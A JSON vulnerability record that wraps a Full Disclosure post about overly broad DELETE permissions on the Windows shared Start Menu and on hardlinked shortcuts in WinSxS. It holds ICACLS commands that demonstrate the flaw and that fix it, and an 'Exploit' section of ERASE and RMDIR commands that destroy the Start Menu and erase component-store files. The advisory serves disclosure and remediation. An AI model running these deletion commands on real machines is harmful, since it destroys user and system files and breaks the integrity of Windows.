{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Defense in depth",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Stefan Kanthak via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Hi @ll,\n\nthe following is a condensed form of\n\u003chttps://skanthak.hier-im-netz.de/whispers.html#whisper3\u003e and\n\u003chttps://skanthak.hier-im-netz.de/whispers.html#whisper4\u003e.\n\nWindows Vista moved the shared start menu from \"%ALLUSERSPROFILE%\\Start Menu\\\"\nto \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\\", with some shortcuts (*.lnk)\n\"reflected\" from the (immutable) component store below %SystemRoot%\\WinSxS\\\n\nJFTR: \"reflection\" is M$FT lingo for hardlink into the component store.\n\nBefore this move only Administrators had write access to the shared start menu;\nafterwards at least the user account(s) created during Windows setup (OOBE,\nout of box experience) are granted DELETE and DELETE_CHILD access permission.\n\nDemonstration\n~~~~~~~~~~~~~\n\nLog on to an arbitrary (unprivileged) user account, start the command processor\nand run the following command line to display the access permissions of the\nshared start menu:\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\"\n\n| C:\\ProgramData\\Microsoft\\Windows\\Start Menu COMPUTER\\User:(OI)(CI)(IO)(DE,DC)\n|                                             S-1-5-21-xxx-yyy-zzz-1000:(OI)(CI)(IO)(DE,DC)\n|                                             COMPUTER\\Administrator:(OI)(CI)(IO)(DE,DC)\n|                                             NT AUTHORITY\\SYSTEM:(I)(OI)(CI)(F)\n|                                             BUILTIN\\Administrators:(I)(OI)(CI)(F)\n|                                             BUILTIN\\Users:(I)(OI)(CI)(RX)\n|                                             Everyone:(I)(OI)(CI)(RX)\n\nInstead of \"COMPUTER\" you get your computer name (see the environment variables\n%COMPUTERNAME% and %USERDOMAIN%); instead of \"User\" and \"Administrator\" you get\nthe first/primary and the localized administrator account name.\n\n\"(OI)(CI)(IO)(DE,DC)\" means \"inherit DELETE and DELETE CHILD access permission\nto all objects/files and containers/directories below this directory\".\n\nRun the following command line to confirm the latter:\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\" /C /Q /T | FINDSTR.EXE /L \"%ProgramData% (DE,DC)\"\n\n\"Thanks\" to the braindead \"reflection\" of shortcuts (generally: files) from\nthe component store their access permissions are changed too:\n\nICACLS.EXE \"%SystemRoot%\\WinSxS\\*.lnk\" /C /Q /T | FINDSTR.EXE /L \"%SystemRoot% (DE,DC)\"\n\nExploit\n~~~~~~~\n\n\"Thanks\" to the DELETE_CHILD access permission some unprivileged users can\nsince NINETEEN years remove the shared start menu COMPLETELY!\n\nERASE /A:HS /F /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\nERASE /F /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\*.lnk\"\nRMDIR /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\"\n\n\"Thanks\" to the braindead \"reflection\" of shortcuts (generally: files) from\nthe component store the same unprivileged users can also erase them there\nand destroy the integrity of the component store:\n\nERASE /F /Q /S \"%SystemRoot%\\WinSxS\\*.lnk\"\n\nFix\n~~~\n\nRemove the SUPERFLUOUS access permissions (needs SE_RESTORE_PRIVILEGE):\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\" /C /Q /Remove:g \"%USERDOMAIN%\\Administrator\" \n\"%USERDOMAIN%\\%USERNAME%\"\n\"%USERDOMAIN%\\User\" *S-1-5-21-xxx-yyy-zzz-RID ... /T\nICACLS.EXE \"%SystemRoot%\\WinSxS\\*.lnk\" /C /Q /Remove:g \"%USERDOMAIN%\\Administrator\" \"%USERDOMAIN%\\%USERNAME%\" \n\"%USERDOMAIN%\\User\"\n*S-1-5-21-xxx-yyy-zzz-RID ... /T\n\nstay tuned, and far away from unprotected system( file)s\nStefan Kanthak\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/18"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/18"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://skanthak.hier-im-netz.de/whispers.html#whisper3"
        },
        {
          "url": "https://skanthak.hier-im-netz.de/whispers.html#whisper4"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/18"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Defense in depth -- the Microsoft way (part 95): the (shared) \"Start Menu\" is dispensable",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0210",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/18",
            "automated": true,
            "contentSha256": "90808ff96b90d2d6ba702873cd50ec365f9d1d6578264c614a3f016730149ca0",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/18",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-08T11:40:10Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-08T07:57:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0210"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}